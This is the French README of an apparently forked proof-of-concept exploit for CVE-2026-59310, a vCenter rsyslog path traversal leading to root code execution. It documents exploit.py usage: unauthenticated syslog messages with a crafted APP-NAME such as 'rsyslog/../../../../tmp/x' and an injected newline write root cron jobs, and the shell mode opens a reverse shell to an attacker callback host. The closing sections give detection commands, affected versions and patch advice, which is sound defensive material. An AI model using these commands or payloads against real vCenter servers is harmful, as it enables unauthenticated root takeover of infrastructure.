
PoC Python pour CVE-2026-59310 : exploite la traversée de répertoires de rsyslog dans vCenter pour écrire des fichiers et exécuter des commandes en tant que root via cron, avec les modes check, exec, shell et cleanup.
English | 中文
Fork optimisé de ChinaRan0/CVE-2026-59310-POC. L'analyse de la vulnérabilité suit ce projet. Cette arborescence retravaille le client et la documentation pour les tests autorisés : sous-commandes, une tâche cron à exécution unique, et un shell interactif sur un PTY distant.
Utilisation autorisée uniquement. N'exécutez ceci que contre des systèmes pour lesquels vous disposez d'une autorisation écrite explicite de test. Vous êtes responsable du respect de la législation locale et de tout impact sur la cible.
| CVE | CVE-2026-59310 |
| Avis | VMSA-2026-0006 |
| CVSS v3.1 | 9.8 Critique |
| Faiblesse | Traversée de chemin dans rsyslog de vCenter → écriture arbitraire de fichier → exécution de code en root |
| Privilèges requis | Aucun. Un accès réseau au syslog (UDP/TCP 514) suffit |
| Corrigé dans | 9.0.2.0100 (Build 25629525), 9.1.0.0300, 8.0 U3k, 8.0 U2f |
| Amont | ChinaRan0/CVE-2026-59310-POC |
| Amont | Ce fork | |
|---|---|---|
| CLI | -c, --lhost et --check sur un seul parseur | Sous-commandes check, exec, shell, cleanup |
| Cron | Se répète chaque minute | Supprime son propre fichier, puis s'exécute une fois |
| Échappement | Texte de commande concaténé dans le shell | shlex.quote, afin que les guillemets ne puissent pas scinder la ligne cron |
| Shell | Faux prompt local, ligne par ligne | PTY distant, relais de frappe, couleurs et complétion Tab distantes |
| Nettoyage | Affichait des indications rm | Dépose une tâche à exécution unique qui supprime les artefacts pour --id |
| Écouteur | Lié à 0.0.0.0 | --bind sélectionne l'adresse locale |
shell nécessite python3 sur la cible. vCenter Server Appliance l'inclut. La session utilise pty.spawn afin que le shell dispose d'un véritable terminal.python3 exploit.py check <target>
python3 exploit.py exec <target> -c "id; hostname"
python3 exploit.py shell <target> --lhost <callback-ip> --lport 4444
python3 exploit.py cleanup <target> --id <id>
exec et shell écrivent un fichier cron que crond exécute environ 60 secondes plus tard, une seule fois. cleanup sans --id supprime tous les artefacts qui utilisent le préfixe cve59310.
| Option | Signification |
|---|---|
--port | Port syslog. Par défaut 514. |
--tcp | Envoyer le syslog via TCP au lieu d'UDP. |
--id | Identifiant d'artefact : 1 à 32 caractères, [a-z0-9]. Aléatoire lorsqu'omis. |
-q | Supprimer la bannière. |
exec| Option | Signification |
|---|---|
-c / --cmd | Commande à exécuter. La sortie standard et la sortie d'erreur combinées sont écrites dans /tmp/cve59310_<id>.txt. |
--wait | Interroger jusqu'à ce que le fichier de sortie soit lisible, ou jusqu'au délai d'expiration. |
--timeout | Secondes pour --wait. Par défaut 180. |
--read-command | Modèle argv local. {path} est le chemin de sortie distant. |
--wait nécessite --read-command, par exemple ssh root@target cat {path}. Le modèle est découpé avec shlex et n'est pas transmis à un shell local. Une commande telle que a; b est regroupée sous la forme { a; b; } > file, de sorte que les deux parties sont capturées.
shell| Option | Signification |
|---|---|
--lhost / --lport | Adresse et port vers lesquels la cible se reconnecte. Port par défaut 4444. |
--bind | Adresse d'écoute locale. Par défaut 0.0.0.0. |
--method {bash,python} | Quel programme ouvre la socket. Par défaut bash. Les deux utilisent ensuite le python3 de la cible pour allouer un PTY. |
--timeout | Secondes d'attente du rappel. Par défaut 180. |
L'invite, les couleurs et la complétion par Tab proviennent du bash de la cible. Ctrl+] ferme le côté local. exit quitte le shell distant. Exécutez shell dans un vrai terminal ; un client à tampon de ligne ne peut pas aboutir.
| Action | Chemin |
|---|---|
check | /tmp/cve59310_check_<id>-syslog.log |
exec | /etc/cron.d/cve59310<id>-syslog.log et /tmp/cve59310_<id>.txt |
shell | /etc/cron.d/cve59310<id>-syslog.log, supprimé par la tâche elle-même après son exécution |
Notez le --id. cleanup <target> --id <id> supprime cette exécution. Sans --id, la tâche de nettoyage supprime tout le préfixe cve59310.
| Cible | VMware vCenter Server 9.0.2.0, Build 25148086 |
| Build corrigé | 9.0.2.0100, Build 25629525 |
| rsyslog | 8.2306.0-4.ph5 |
| Entrée | UDP/TCP 514, sans authentification |
Sur ce build, check crée un fichier appartenant à root sous /tmp, exec avec id renvoie uid=0(root) après environ une minute, et shell affiche l'invite de la cible (root [ / ]#, couleurs comprises).
Tout ce qui est antérieur au build corrigé dans sa branche. vCenter autonome est affecté, tout comme les composants vCenter de VMware Cloud Foundation, vSphere Foundation et Telco Cloud.
| Branche | Affecté | Corrigé |
|---|---|---|
| 9.1 | < 9.1.0.0300 | 9.1.0.0300 |
| 9.0 | < 9.0.2.0100 | 9.0.2.0100 (Build 25629525) |
| 8.0 U3 | < 8.0 U3k | 8.0 U3k |
| 8.0 U2 | < 8.0 U2f | 8.0 U2f |
| 8.0 GA / U1 | tous | Mettre à niveau vers 8.0 U3k ou ultérieur |
| 7.0 | correctif correspondant manquant | Obtenir le correctif auprès de Broadcom, ou passer à une version prise en charge |
/sdk/vimServiceVersions.xml indique l'espace de noms de l'API (souvent 9.0.0.0), et non le build de l'appliance. Confirmez le build avec /etc/vmware-release et /etc/applmgmt/appliance/version.
La configuration rsyslog de vCenter interpole %app-name% dans le chemin du journal et laisse $EscapeControlCharactersOnReceive off :
$template rsyslogadminLoc,"/var/log/vmware/%app-name%/%app-name%-syslog.log"
:app-name, startswith, "rsyslog" ?rsyslogadminLoc;rsyslogadminFmt
pmrfc3164 tronque APP-NAME au niveau de /. pmrfc5424 ne le fait pas, et le jeu de règles par défaut accepte RFC5424. Un APP-NAME forgé tel que rsyslog/../../../../tmp/x est donc écrit en dehors de /var/log/vmware/ sous forme de fichier *-syslog.log appartenant à root. Un saut de ligne dans le corps du message permet à une ligne cron de commencer en colonne 0, de sorte que crond l'exécute en tant que root. Le nom de fichier se termine toujours par -syslog.log, ce qui explique pourquoi le fichier cron réside sous /etc/cron.d/ plutôt que de remplacer une crontab sans suffixe.
| Parseur | Valeur de %app-name% pour rsyslog/../../../../tmp/x |
|---|---|
| pmrfc3164 | rsyslog |
| pmrfc5424 | rsyslog/../../../../tmp/x |
L'avis du fournisseur décrit également l'écriture sous /opt/vmware/share/htdocs/ et sa relecture via https://<target>:5480/.
cat /etc/vmware-release
grep -nE '%(app-name|hostname)%' /etc/rsyslog.conf
grep -n EscapeControlCharactersOnReceive /etc/rsyslog.conf
find / -name '*-syslog.log' \
-not -path '/var/log/vmware/*' \
-not -path '/storage/log/vmware/*' 2>/dev/null
ls -la /etc/cron.d/ /opt/vmware/share/htdocs/
Les fichiers *-syslog.log en dehors des répertoires de logs, ainsi que les répertoires dont le nom contient .., constituent les résidus habituels. rsyslog crée les répertoires parents manquants lorsque le template sort de l'arborescence des logs.
Mettez à niveau. Sur la branche 9.0, la version minimale corrigée est 9.0.2.0100 (Build 25629525).